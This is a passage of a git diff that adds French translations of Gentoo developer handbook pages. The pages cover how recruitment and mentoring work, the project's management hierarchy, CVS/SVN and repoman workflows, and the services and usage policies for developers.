+</p>
+
+</body>
+</section>
+<section>
+<title>Aider</title>
+<body>
+
+<p>
+Tout d'abord, pour que l'on vous propose de devenir développeur, vous devez
+soit vous proposer à un poste, soit simplement aider que ce soit pour le
+support aux utilisateurs ou en rapportant des bogues. Nous remarquons les
+personnes qui contribuent régulièrement au projet Gentoo et nous essayons de
+les récompenser en leur donnant une chance de devenir des développeurs pour le
+projet Gentoo.  Gentoo a de nombreuses portes d'entrée et l'équipe de
+recrutement pour les développeurs de Gentoo (la <e>Gentoo Developer Relations
+Recruitment Team</e>) est constamment à la recherche de nouveaux développeurs.
+Les auteurs de documents ou les mainteneurs des infrastructures Gentoo sont
+également très importants pour que le projet puisse fonctionner correctement.
+</p>
+
+<p>
+Vous pouvez chercher des propositions de postes pour devenir développeurs dans
+le GWN (Gentoo Week News), ou en faisant un <c>/topic</c> sur le canal
+#gentoo-bugs des serveurs irc.freenode.net. Si vous pensez pouvoir correspondre
+à une proposition, essayez de vous trouver un mentor ou contactez les <mail
+link="recruiters@gentoo.org">recruteurs Gentoo</mail> qui pourront vous trouver
+un mentor pour vous. Merci de ne pas remplir de bogues de type «&nbsp;nouveau
+développeur&nbsp;», dans la mesure où cette tache est attribuée à votre mentor
+et tous les bogues de ce type seront clos.
+</p>
+
+</body>
+</section>
+<section>
+<title>Parrainage</title>
+<body>
+
+<p>
+Tous les nouveaux développeurs ont un parrain (plus souvent appelé mentor).
+C'est un développeur Gentoo et il a pour tâche de guider un nouveau
+développeur, mais aussi de proposer de l'aide au développeur après que celui-ci
+ait passé les étapes de recrutement.
+</p>
+
+<p>
+Un mentor doit vous assister en vous apportant des réponses pour toutes les
+questions que vous pourriez avoir. Il doit également vous faire prendre
+conscience des responsabilités que vous aurez vis-à-vis de Gentoo et notamment
+celles en relations avec les tâches que vous effectuerez dans un premier temps.
+</p>
+
+<p>
+Une fois qu'un développeur accepte d'être le parrain d'un nouveau développeur,
+il devra faire un rapport de bogue et l'assigner aux recruteurs Gentoo.  La
+page des <uri link="/proj/en/devrel/recruiters">recruteurs Gentoo</uri>
+explique en détail la démarche à suivre.
+</p>
+
+<note>
+Les recruteurs Gentoo se réservent le droit d'assigner au développeur un
+nouveau mentor si le mentor initial ne répond pas aux attentes du jeune
+développeur ou si le mentor remplit le bogue mais n'aide pas le nouveau
+développeur dans la suite du processus.
+</note>
+
+</body>
+</section>
+<section>
+<title>Attendre</title>
+<body>
+
+<p>
+Tous les nouveaux développeurs passent alors dans une période d'attente d'au
+plus un mois, selon le temps que le mentor juge nécessaire pour que le
+développeur soit prêt, ainsi que le temps d'avoir des retours d'expérience de
+la part d'autres membres du projet Gentoo. Durant cette période, le nouveau
+développeur devra remplir un quizz qui sera révisé par son mentor et les
+recruteurs Gentoo pour s'assurer que le développeur est <e>prêt</e>. Dans
+certains cas bien précis, la période d'attente sera déterminée par les
+recruteurs et/ou les responsables des relations entre développeurs Gentoo.
+</p>
+
+<p>
+Deux quizz sont proposés&nbsp;: le <uri
+link="/proj/en/devrel/quiz/ebuild-quiz.txt">quizz ebuild</uri> et le <uri
+link="/proj/en/devrel/quiz/staff-quiz.txt">quizz personnel</uri>. Les
+développeurs qui devront travailler uniquement sur les infrastructures, les
+GLSAs ou autres domaines ne concernant pas les ebuilds devront réussir le quizz
+de personnel. Tout développeur qui aura à utiliser un accès à l'arbre de
+Portage devra réussir le quizz ebuild.
+</p>
+
+<p>
+Une fois que le nouveau développeur a rempli le quizz, il devra l'envoyer à son
+mentor qui sera responsable de sa relecture, avec les membres de l'équipe des
+<uri link="/proj/en/devrel/recruiters">recruteurs Gentoo</uri>. Si les réponses
+montrent qu'elles correspondent à un standard satisfaisant, le recrutement
+pourra continuer. Sinon, le nouveau développeur peut refaire le quizz pour
+autant qu'il soit encore dans sa période d'attente.
+</p>
+
+<p>
+Enfin, les nouveaux développeurs doivent être ouverts à toutes les questions
+que n'importe quel membre de l'équipe de recruteurs peut être amené à lui
+poser.  Tout développeur qui ne répond pas rapidement verra son bogue
+«&nbsp;nouveau développeur&nbsp;» fermé, lequel pourra être ouvert de nouveau,
+à la discrétion des recruteurs Gentoo uniquement.
+</p>
+
+</body>
+</section>
+<section>
+<title>Faire le grand saut</title>
+<body>
+
+<p>
+Une fois que votre mentor et les recruteurs Gentoo ont relu votre quizz et
+qu'ils pensent que vous rentrez dans un standard acceptable, vous devrez
+l'envoyer accompagné d'une clef publique DSA2 SSH2 (un fichier
+<path>id_dsa.pub</path>) aux recruteurs Gentoo. Si les recruteurs considèrent
+votre quizz comme satisfaisant, ils vous donneront accès aux services dont vous
+aurez besoin.
+</p>
+
+<p>
+Une fois passé cette étape, vous entrez dans une période probatoire de trente
+jours durant laquelle votre mentor sera responsable de vos actions, en
+apportant son cachet. Encore une fois, les recruteurs Gentoo peuvent rejeter un
+développeur durant cette période s'ils le jugent nécessaire.
+</p>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/fr/devrel/handbook/hb-introduction-hierachy.xml b/xml/htdocs/proj/fr/devrel/handbook/hb-introduction-hierachy.xml
new file mode 100644
index 00000000..0f8a99ce
--- /dev/null
+++ b/xml/htdocs/proj/fr/devrel/handbook/hb-introduction-hierachy.xml
@@ -0,0 +1,224 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<date>2004-11-22</date>
+
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+Ce chapitre a pour but d'expliquer la hiérarchie chez les développeurs Gentoo
+et de donner aux développeurs un aperçu de la structure de gestion au sein du
+projet Gentoo pour la partie développement.
+</p>
+
+</body>
+</section>
+<section>
+<title>La structure de gestion</title>
+<body>
+
+<p>
+L'objectif de la nouvelle structure de management était de résoudre un certain
+nombre de problèmes chroniques concernant le management, la coordination et la
+communication au sein du projet Gentoo. En particulier, nous n'avions pas bien
+défini la structure de management directionnel et les rendez-vous non officiels
+et réguliers qui permettent de communiquer les mises à jour de statuts entre les
+développeurs occupant des postes critiques. En règle générale, la plupart de la
+communication avait lieu sur IRC et de manière plus sporadique via courrier 
+électronique. Pratiquement personne, pas même un haut responsable, n'était tenu
+de clôturer les projets en temps et en heure.
+</p>
+
+<p>
+À cause de cet état de faits, il était difficile d'établir des objectifs et de
+vérifier l'état d'avancement des divers projets. Ce manque de communication et
+de coordination rendait également le management difficile pour les développeurs
+à haute responsabilité même pour leurs propres projets. De plus, un autre
+problème classique était que nous n'avions pas de rôles bien définis, ni ne
+savions l'étendue du pouvoir de prise de décision chez les développeurs à haute
+responsabilité. Du coup, de nombreuses personnes ayant une haute responsabilité
+allaient jusqu'à ne pas savoir si elles avaient l'autorité de gérer leur propres
+projets et sous-projets. Même si cela n'a jamais été l'intention des personnes à
+responsabilité, c'était le résultat malheureux et direct du processus de
+développement qui manquait de structure&nbsp;: personne ne savait ce qui se
+passait, et tout le monde renvoyait les décisions exécutives à prendre à
+l'architecte en chef.
+</p>
+
+<p>
+Évidemment, un plan était nécessaire pour résoudre rapidement et de manière
+définitive ces problèmes, en améliorant la communication, la coordination et les
+responsabilités. Les rôles et le pouvoir décisionnel nécessaires avaient besoin
+d'être définis pour les développeurs à responsabilités pour qu'ils puissent
+avoir un poste clair et une pleine responsabilité dans la gestion de leurs
+projets, et qu'ils puissent ainsi s'assurer que leurs projets soient réalisés
+dans les délais, et correctement.
+</p>
+
+<p>
+La liste suivante donne l'ensemble du système&nbsp;:
+</p>
+
+<ul>
+<li>
+  <b>Responsables de haut niveau</b>&nbsp;: décident des efforts de
+  développement à fournir&nbsp;;
+</li>
+<li>
+  <b>Responsables de sous-projets</b>&nbsp;: font le lien entre les efforts de
+  développement et leurs équipes respectives&nbsp;;
+</li>
+<li>
+  <b>Responsables d'équipe</b>&nbsp;: supervisent leur équipe et s'assurent de
+  leur productivité&nbsp;;
+</li>
+<li><b>Développeurs</b>&nbsp;: développent et améliorent Gentoo.</li>
+</ul>
+</body>
+</section>
+
+<section>
+<title>Responsables de haut niveau et de sous-projets</title>
+<body>
+
+<p>
+Les responsables de haut niveau travaillent sur la mise à exécution des aspects
+majeurs du développement, comme par exemple la coordination des sorties de
+projets Gentoo. Ils sont également responsables de la répartition des efforts de
+développement dans les divers projets, et comment Gentoo peut s'améliorer, en
+utilisant les retours d'expérience des développeurs et utilisateurs.
+</p>
+
+<p>
+Les responsables de sous-projets ont pour tâche de coordonner les demandes des 
+responsables haut niveau et celles de la communauté Gentoo avec leurs équipes.
+Par  exemple, les nouvelles directives pour l'architecture x86 peuvent concerner
+les équipes <e>base-system</e> et <e>kernel</e>, qui devront alors être
+coordonnées par un responsable de sous-projet.
+</p>
+
+<p>
+Les responsables de sous-projet sont optionnels, tout autant que les 
+responsables de haut niveau. Cependant dans la plupart des cas votre équipe
+finira tôt ou tard par travailler sous les recommandations des responsables
+d'architecture.
+</p>
+</body>
+</section>
+
+<section>
+<title>Responsables d'équipe</title>
+<body>
+<p>
+Les responsables d'équipe sont responsables de l'organisation des développeurs
+de leur équipe et de la coordination des sorties publiques de projets. Ils
+doivent également résoudre les problèmes relatifs à leur équipe, et proposer des
+améliorations de leurs produits en utilisant les retours d'expérience venant de
+la communauté.
+</p>
+
+<p>
+Les équipes n'ont pas nécessairement besoin de responsable, et certaines équipes
+travaillent avec un système on-corrige-quand-on-reçoit et cette solution donne
+parfois de meilleurs résultats que s'il y avait un responsable d'équipe. Mais
+la décision d'avoir ou non un responsable d'équipe reste une décision que doit
+prendre l'équipe elle-même.
+</p>
+
+<p>
+La plupart des équipes font partie d'un regroupement d'équipes qui est
+constitué avec pour objectif l'organisation autour d'un effort particulier à
+fournir. Vous pouvez vous rapporter à la page sur le projet Metadata pour plus
+de détails.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Développeurs</title>
+<body>
+
+<p>
+Les développeurs sont responsables du développement de la distribution
+ou du projet sur lequel ils sont assignés. Certains développeurs font partie
+d'une équipe, d'autres travaillent sur un projet qui n'a pas d'équipe 
+attribuée, ni de regroupement d'équipe.
+</p>
+
+<p>
+Si un développeur a un quelconque problème, il peut en parler avec son 
+responsable d'équipe, leur responsable de haut niveau ou peuvent également
+envoyer un courrier à une liste de diffusion comme gentoo-dev ou gentoo-core
+en demandant des avis ou commentaires sur un point précis.
+</p>
+
+</body>
+</section>
+
+<!-- TODO Attendre que ça soit corrigé pour être traduit ^^...
+
+<section>
+<title>Decision making</title>
+<body>
+<p>
+Currently, GLEPs (Gentoo Linux Enhancement Proposals) can be approved
+or rejected by the appropriate top-level manager under which the GLEP
+falls. If there is no clearly-defined manager under which the GLEP
+falls, the GLEP will be voted upon by the Managers and Chief
+Architect, and must be approved unanimously. In all cases, a public,
+written explanation must be provided detailing why the GLEP was
+approved or rejected, either by the manager who approved/rejected it,
+or the head of the GLEP sub-project (Grant Goodyear) if the GLEP was
+voted upon by the management team. This summary is meant to reflect
+the decision that was made by some of the managers at an early manager
+meeting.
+</p>
+
+<p>
+Currently, there is no formal general voting procedure in place. In
+the interim, any item to be voted upon must be approved by "votable"
+by the Chief Architect. Before voting takes place, all managers must
+have an opportunity to present their ideas before the other managers,
+with the general originator(s) of the idea having the opportunity to
+present first. After that, the Chief Architect and Managers can
+present their ideas, with the Chief Architect having the opportunity
+to present last. After this has happened, voting can take place, and
+the item will be approved on an unanimous vote. Managers or the Chief
+Architect can choose to abstain from voting, and the vote can still
+pass with abstainers as long as at least 50% of the members have
+voted. The voting must take place at an official managers
+meeting. Non-attending managers are allowed to vote via email. The
+vote must be officially tallied and posted to the managers list.
+</p>
+
+<p>
+The reason for the "Chief Architect approval" clause it to prevent the
+voting process from being abused by allowing voting items that make no
+sense, such as those that begin with a "Should we continue to," where
+a "nay" result would result in a change in existing policy, as well as
+preventing managers for requesting that every small decision be voted
+upon. We currently have no clear policy to determine what is a
+"votable" item, and without this policy there needs to be some method
+to determine what is "votable" and what affects some immutable part of
+Gentoo.
+</p>
+
+<p>
+This section is subject to additional clarification and refinement in
+the future, as is the rest of this document. The purpose of this
+section is to document our currently-existing procedures rather than
+define ideal or "final" procedures.
+</p>
+</body>
+</section>
+-->
+
+</sections>
diff --git a/xml/htdocs/proj/fr/devrel/handbook/hb-introduction-new-devs.xml b/xml/htdocs/proj/fr/devrel/handbook/hb-introduction-new-devs.xml
new file mode 100644
index 00000000..cd2c6f4f
--- /dev/null
+++ b/xml/htdocs/proj/fr/devrel/handbook/hb-introduction-new-devs.xml
@@ -0,0 +1,308 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/devrel/handbook/hb-introduction-new-devs.xml,v 1.3 2006/06/12 11:35:34 neysx Exp $ -->
+
+<sections>
+<section>
+<title>Utiliser CVS</title>
+
+<subsection>
+<title>Introduction</title>
+<body>
+
+<p>
+Ce guide n'a pas pour prétention de servir de manuel d'utilisation à CVS. Pour
+cela, vous pouvez aller lire la page d'information de CVS (info cvs) ou encore
+le <uri link="/doc/fr/cvs-tutorial.xml">tutoriel CVS de Gentoo</uri>. Ce guide
+s'intéresse plus spécifiquement à l'utilisation de CVS et Repoman dans l'arbre
+des ebuilds de Gentoo.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Configuration</title>
+<body>
+
+<p>
+En général vous aurez les lignes suivantes dans votre fichier
+<path>~/.cvsrc</path>&nbsp;:
+</p>
+
+<pre caption="~/.cvsrc">
+cvs -q -z0
+diff -u -B
+checkout -P
+update -d -P
+</pre>
+
+<p>
+Pour être sûr que les «&nbsp;digests&nbsp;» sont corrects, mettez <c>cvs</c>
+dans les paramètres de la variable <c>FEATURES</c>.
+</p>
+
+<p>
+Enfin, plusieurs personnes utilisant CVS aiment utiliser la compression (-z#).
+Nous demandons aux développeurs qui n'ont pas un accès Internet avec une bande
+passante limitée d'utiliser -z0 (pour le contenu du dépôt CVS, et la charge de
+serveur CVS, vous aurez probablement une <e>augmentation</e> de la vitesse de
+transfert si vous n'utilisez pas de compression).
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Récupération des modules par CVS/SVN</title>
+<body>
+
+<p>
+Plusieurs modules sont utilisés dans le dépôt CVS de Gentoo. Les ebuilds sont
+gardés dans le module <path>gentoo-x86</path>. <path>gentoo</path> contient les
+pages XML du site Internet, la documentation, les répertoires des développeurs,
+les images de développeurs, etc. <path>gentoo-projects</path> contient
+différents projets et remplace généralement le module <path>gentoo-src</path>.
+<path>gentoo-src</path> est conservé pour des raisons historiques, aussi
+veuillez envisager un autre module si vous l'utilisez encore.
+</p>
+
+<pre caption="Récupérer le module gentoo-x86">
+# cvs -d nom_utilisateur@cvs.gentoo.org:/var/cvsroot co gentoo-x86
+</pre>
+
+<p>
+Avant de travailler sur l'arbre, c'est toujours une bonne idée de faire une
+mise à jour pour vérifier les modifications et pour prévenir les conflits. Vous
+pouvez mettre à jour n'importe quel sous-répertoire de l'arbre, si vous ne
+souhaitez pas mettre à jour l'arbre complet. Mais il est parfois bon de mettre
+la totalité de l'arbre à jour&nbsp;:
+</p>
+
+<pre caption="Mise à jour de gentoo-x86">
+# cd gentoo-x86
+# cvs update
+</pre>
+
+<p>
+Gentoo offre également des services subversion pour ceux qui préferent SVN à
+CVS. Beaucoup de projets principaux comme <path>portage</path> et
+<path>baselayout</path> sont désormais hébergés sur subversion.
+</p>
+
+<pre caption="Récupération du module portage">
+# svn co svn+ssh://username@cvs.gentoo.org/var/svnroot/portage
+</pre>
+                 
+</body>
+</subsection>
+<subsection>
+<title>Mettre Portage à jour</title>
+<body>
+
+<p>
+Si vous voulez utiliser CVS en tant qu'arbre de Portage primaire, vous pouvez
+ajouter les lignes suivantes dans votre fichier de configuration
+<path>/etc/make.conf</path>, en remplaçant <c>moi</c> par votre nom
+d'utilisateur&nbsp;:
+</p>
+
+<pre caption="Modifier /etc/make.conf pour utiliser CVS">
+SYNC="cvs://moi@cvs.gentoo.org:/var/cvsroot"
+CVSROOT=":ext:moi@cvs.gentoo.org:/var/cvsroot"
+</pre>
+
+<p>
+Que vous vouliez utiliser les sources CVS (CVS checkout) pour votre arbre de
+Portage primaire ou non, vous devez vous assurer que <c>cvs</c> est dans votre
+variable <c>FEATURES</c> dans le fichier <path>/etc/make.conf</path>. Cela
+assure que Portage téléchargera tous les fichiers référencés par un ebuild dans
+sa variable <c>SRC_URI</c> lors du <e>digest</e>.
+</p>
+
+<p>
+Vous pouvez ajouter <c>digest</c> à votre variable <c>FEATURES</c>, pour que
+Portage crée automatiquement les nouveaux <e>digests</e>. Vous pouvez aussi
+ajouter <c>autoaddcvs</c> pour que <c>repoman</c>, l'outil que vous utiliserez
+pour soumettre des ebuilds, ajoute automatiquement les <e>digests</e> manquants
+à votre place dans le CVS.
+</p>
+
+<p>
+Sur les architectures le permettant, vous pouvez également utiliser
+<c>sandbox</c> dans votre variable <c>FEATURES</c>  pour vous assurer que les
+ebuilds ne modifient pas le système de fichiers racine directement.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Ajouter/Supprimer des paquets</title>
+<body>
+
+<p>
+Admettons que vous avez déjà ajouté un nouveau paquet <c>foo</c> dans app-misc.
+</p>
+
+<pre caption="Ajout d'un paquet">
+<comment>(Remplacez CVSROOT par le répertoire de votre arbre CVS racine.)</comment>
+# cd $CVSROOT/app-misc
+<comment>(Toujours faire une mise à jour avant de
+travailler sur une partie de l'arbre CVS !)</comment>
+# cvs update
+# mkdir foo
+<comment>(Nous ajoutons maintenant le répertoire du paquet foo dans le dépôt CVS.)</comment>
+# cvs add foo
+# cd foo
+<comment>(C'est mieux de garder les ebuilds en travaux
+dans un overlay hors de l'arbre CVS.)</comment>
+# cp /repertoire/pour/foo-1.0.ebuild ./
+<comment>(N'oubliez pas de créer un ChangeLog - lire la page de manuel d'echangelog.)
+(Assurez-vous que PORTDIR_OVERLAY est activé dans votre répertoire CVS quand
+vous créez les digests.)</comment>
+# ebuild foo-1.0.ebuild digest
+# cvs add foo-1.0.ebuild ChangeLog files
+<comment>(FEATURES=autoaddcvs le fera pour vous.)</comment>
+# cvs add files/digest-foo-1.0
+</pre>
+
+<p>
+Souvenez-vous que vous devez également ajouter un fichier metadata.xml
+contenant des informations sur le mainteneur. Lire la section <uri
+link="?part=2&amp;chap=4">Metadata Gentoo</uri> pour plus d'informations.
+</p>
+
+<p>
+À ce moment-là de votre travail, vous êtes prêt à soumettre votre travail (lire
+la section sur la soumission plus bas). Mais que se passe-t-il si vous voulez
+supprimer foo-1.0 quand foo-1.1 est sorti&nbsp;?
+</p>
+
+<pre caption="Suppression d'un paquet">
+# cd CVSROOT/app-misc/foo
+# cvs update
+# cvs remove foo-1.0.ebuild files/digest-foo-1.0
+</pre>
+
+<p>
+Nous sommes fin prêt à faire des soumissions. Vous pouvez passer au chapitre
+suivant.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Soumettre</title>
+<body>
+
+<p>
+Utilisez toujours <c>repoman commit</c> au lieu de <c>cvs commit</c>. Repoman
+est un outil d'assurance qualité (QA) qui réalise un certain nombre de
+vérifications de base et crée les fichiers <path>Manifests</path>. Si une
+partie des messages de sortie de repoman ne vous semble pas claire, lisez la
+page de manuel (<c>man repoman</c>). Il est possible que vous ayez besoin de
+taper un certain nombre de fois votre mot de passe.  <uri
+link="/proj/en/keychain.xml">keychain</uri> vous sera alors d'un grand secours.
+</p>
+
+<pre caption="Utilisation de repoman">
+<comment>(Assurez-vous qu'il n'y a aucun fichier appartenant à l'utilisateur root
+avant d'utiliser repoman !
+"scan" recherche dans le répertoire courant des données QA. 
+"full" est plus complet.)</comment>
+# <i>repoman scan</i>
+<comment>("commit" effectue une recherche, puis se charge de faire la soumission et met
+les digests à jour. Assurez-vous d'avoir fourni un message de ChangeLog
+au contenu complet et utile...)</comment>
+# <i>repoman commit</i>
+</pre>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Divers</title>
+<subsection>
+<title>Mettre des fichiers sur les miroirs</title>
+<body>
+
+<p>
+La procédure pour déposer un nouveau fichier dans <path>distfiles</path> sur les
+miroirs Gentoo est très simple&nbsp;: il suffit de le copier dans le répertoire
+<path>/space/distfiles-local</path> sur le serveur <path>dev.gentoo.org</path>.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Courrier électronique</title>
+<body>
+
+<p>
+Notre infrastructure permet aux développeurs de gérer leur propre courrier.  La
+<uri link="/proj/en/infrastructure/dev-email.xml">documentation sur le courrier
+électronique Gentoo</uri> contient les instructions nécessaires pour configurer
+au mieux votre adresse courrier gentoo.org.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Écrire sur Planet Gentoo</title>
+<body>
+
+<p>
+Nous avons mis en place <uri link="http://planet.gentoo.org">Planet
+Gentoo</uri> qui est un service permettant de regrouper les articles écrits par
+les développeurs contribuant au projet. C'est optionnel mais nous vous
+encourageons à y participer, il aide la communication entre les développeurs,
+et les utilisateurs peuvent le trouver intéressant à lire.
+</p>
+
+<p>
+Pour pouvoir poster du contenu sur Planet, vous devez avoir votre propre weblog
+(ou «&nbsp;blog&nbsp;»). De nombreux sites proposent ce service gratuitiement.
+Vous pouvez également en héberger un vous-même si vous en avez les ressources.
+Nous pouvons aussi en héberger un pour vous.
+</p>
+
+<p>
+Nous souhaitons que le contenu de Planet Gentoo reste lié à Gentoo et/ou au
+développement et aux événements liés à Gentoo.
+</p>
+
+<p>
+Si nous hébergeons le blog pour vous demandons que vous gardiez son contenu
+dans le cadre du sujet (articles sur ou liés à Gentoo). Vous devez aussi
+comprendre que si vous perdez ou laissez tomber votre statut de développeur,
+vous ne pourrez plus écrire d'articles sur votre blog.
+</p>
+
+<p>
+Si vous disposez d'un blog externe, vous devez alors être en mesure de proposer
+un flux XML de contenu (flux RSS par exemple). Si votre blog est divisé en
+catégories, vous devez pouvoir fournir un flux qui ne couvre que la catégorie
+«&nbsp;gentoo&nbsp;» et pas les autres. Ce ne devrait pas être un problème dans
+la mesure où presque tous les blogs proposent des flux standardisés.
+</p>
+
+<p>
+Pour une question de bon sens, faites attention à ce que vous écrivez. Vos
+points de vue pourraient être interprétés de manière erronée. Faites attention
+à ne pas entacher notre image.
+</p>
+
+<p>
+SI vous souhaitez contribuer à Planet Gentoo, envoyez un courrier électronique
+à <uri link="mailto:user-relations@gentoo.org">user-relations@gentoo.org</uri>,
+soit en demandant qu'on vous héberge un weblog, soit en donnant des détails
+concernant votre blog actuel. Nous nous occuperons ensuite des détails et
+laisserons alors votre plume parler.
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/fr/devrel/handbook/hb-introduction-whatyouget.xml b/xml/htdocs/proj/fr/devrel/handbook/hb-introduction-whatyouget.xml
new file mode 100644
index 00000000..d2229aa7
--- /dev/null
+++ b/xml/htdocs/proj/fr/devrel/handbook/hb-introduction-whatyouget.xml
@@ -0,0 +1,191 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<sections>
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+Le projet Gentoo propose aux développeurs l'ensemble des services dont ceux-ci
+pourraient avoir besoin pour faciliter leurs efforts de développement. Si vous
+avez besoin d'un service non fourni à l'heure actuelle, n'hésitez pas à
+contacter l'équipe qui s'occupe de l'infrastructure de Gentoo.
+</p>
+
+<p>
+Une fois que vous êtes un développeur autorisé, votre recruteur devrait vous
+organiser les services présentés dans ce chapitre de telle manière que vous
+puissiez les utiliser. Si vous avez un quelconque problème, voyez avec votre
+recruteur ou l'équipe citée plus haut pour avoir un accès au service demandé.
+</p>
+
+</body>
+</section>
+<section>
+<title>Bugzilla</title>
+<body>
+
+<p>
+Les développeurs peuvent changer tous les aspects des bogues dans le Bugzilla.
+Si vous avez un compte existant, votre adresse électronique devra être
+remplacée par votre adresse Gentoo par un administrateur de Bugzilla.
+</p>
+
+</body>
+</section>
+<section>
+<title>CVS</title>
+<body>
+
+<p>
+Tous les développeurs ne reçoivent pas un accès CVS. Si vous avez besoin d'un
+accès au CVS de l'arbre Portage de gentoo, gentoo-projects, ou gentoo-x86,
+demandez à une personne de l'équipe des recruteurs qui le fera pour vous. Vous
+devrez sûrement justifier votre besoin pour qu'ils valident votre demande.
+</p>
+
+</body>
+</section>
+<section>
+<title>IRC</title>
+<body>
+
+<p>
+Quand vous devenez développeur, vous recevez automatiquement un statut
+d'opérateur sur le canal de discussion #gentoo-dev, ce qui signifie que vous
+êtes développeur.  Contactez l'équipe relationnelle des développeurs si vous ne
+l'êtes pas. De plus les responsables d'équipe peuvent décider de vous donner un
+statut d'opérateur sur des canaux de discussion spécialisés comme par exemple
+#gentoo-hardened. Un abus de pouvoir de la part d'un opérateur sur #gentoo-dev
+peut entraîner une perte immédiate de ce statut et éventuellement une
+suppression de votre statut de développeur. S'il vous a été donné des pouvoirs
+d'opérateur, nous vous demandons de les utiliser de manière constructive pour
+améliorer la bonne tenue des divers canaux de discussions et éviter tout
+débordements de la part d'utilisateurs ou de développeurs.
+</p>
+
+<p>
+Le statut d'opérateur sur #gentoo est donné à la discrétion des relations entre
+développeurs&nbsp;: cela ne signifie en aucun cas que l'utilisateur est un
+développeur.
+</p>
+
+<p>
+Des canaux de discussion spécifiques Gentoo sont proposés comme
+#gentoo-hardened ou #gentoo-server, et l'attribution du statut d'opérateur sur
+ceux-ci est laissé à la discrétion de l'équipe concernée -dans notre exemple,
+les équipes «&nbsp;hardened&nbsp;» et «&nbsp;server&nbsp;».
+</p>
+
+<p>
+Les canaux de discussion IRC appartiennent aux responsables de projet
+respectifs, que ce soient des responsables stratégiques ou opérationnels, et le
+propriétaire peut à sa guise «&nbsp;voicer&nbsp;» ou «&nbsp;dévoicer&nbsp;» des
+membres du public. Si vous pensez que ces pouvoirs sont utilisés de manière
+abusive ou sont utilisés à mauvais escient, parlez-en à l'équipe relationnelle
+des développeurs Gentoo.
+</p>
+
+</body>
+</section>
+<section>
+<title>Forums (facultatif)</title>
+<body>
+
+<p>
+Demandez à un administrateur des forums, soit sur #gentoo-forums, soit via
+<mail link="forum-mods@gentoo.org">forum-mods@gentoo.org</mail>, de mettre à
+jour votre statut sur les forums Gentoo si cela est nécessaire. Les comptes sur
+les forums ne sont pas une obligation de la part des développeurs.
+</p>
+
+</body>
+</section>
+<section>
+<title>Courrier électronique</title>
+<body>
+
+<p>
+Tous les développeurs disposent d'une adresse électronique du type
+pseudo@gentoo.org qui doit être utilisée pour le projet Gentoo.
+</p>
+
+<p>
+Merci de lire la documentation sur <uri
+link="/proj/en/infrastructure/dev-email.xml">le système de courrier
+électronique de Gentoo</uri> pour plus de détails.
+</p>
+
+</body>
+</section>
+<section>
+<title>Listes de diffusion</title>
+<body>
+
+<p>
+Tous les développeurs doivent s'inscrire sur les listes de diffusions
+gentoo-core et gentoo-dev. Contactez un membre de l'équipe de recrutement pour
+vous inscrire à la liste de diffusion réservée aux développeurs gentoo-core, ou
+si vous avez un quelconque problème. Si vous êtes inscrit à d'autres listes de
+diffutions, vous devez vous désinscrire et réinscrire en utilisant votre
+nouvelle adresse électronique. La liste gentoo-core est prévue pour les
+discussions internes, mais la plupart des sujets devraient être débattus dans
+la liste gentoo-dev.
+</p>
+
+</body>
+</section>
+<section>
+<title>Accès à un shell</title>
+<body>
+
+<p>
+Actuellement les développeurs ont un compte shell sur dev.gentoo.org
+(toucan.gentoo.org) qui leur propose un espace de stockage pour le courrier
+électronique, un relai SMTP ainsi qu'un tunnel IRC pour que les développeurs
+puissent accéder aux serveurs IRC de freenode.
+</p>
+
+<p>
+Pour des raisons de sécurité, l'accès est restreint au protocole SSH à clefs
+que votre mentor aura dû mettre en place pour votre compte. Pour vous connectez
+avec votre clef SSH, veuillez lire la <uri
+link="/proj/en/infrastructure/cvs-sshkeys.xml">documentation pour l'accès ssh
+au CVS</uri>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Politique d'utilisation des services</title>
+<body>
+
+<p>
+Les services proposés par Gentoo doivent uniquement être utilisés pour votre
+travail de développement pour Gentoo. L'équipe s'occupant de l'infrastructure
+a le droit de désactiver n'importe quel compte qui présente un risque de
+sécurité. Cela inclut les comptes inactifs qui seront suspendus par l'équipe
+gérant l'infrastructure, si vous êtes en état d'hibernation, et votre statut
+sur le canal de discussion IRC #gentoo-dev passera au statut de ``voice''.
+</p>
+
+<p>
+Si un quelconque fichier sur votre compte est trouvé et désigné comme
+potentiellement nocif pour les autres développeurs ou utilisateurs de la
+machine ou simplement présente un risque pour le projet Gentoo (comme par
+exemple des fichiers .torrents illégaux), l'infrastructure Gentoo désactivera
+votre compte qui ne sera réactivé (s'il doit l'être) qu'après investigation de
+la part des relations des développeurs Gentoo. Dans la plupart des cas, votre
+statut de développeur sera suspendu si de tels fichiers sont trouvés. La même
+politique est appliquée pour le CVS gentoo et d'autres services qui vous sont
+proposés par Gentoo.
+</p>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/fr/devrel/handbook/hb-introduction.xml b/xml/htdocs/proj/fr/devrel/handbook/hb-introduction.xml
new file mode 100644
index 00000000..131d5de3
--- /dev/null
+++ b/xml/htdocs/proj/fr/devrel/handbook/hb-introduction.xml
@@ -0,0 +1,68 @@
+<?xml version='1.0' encoding='UTF-8'?>
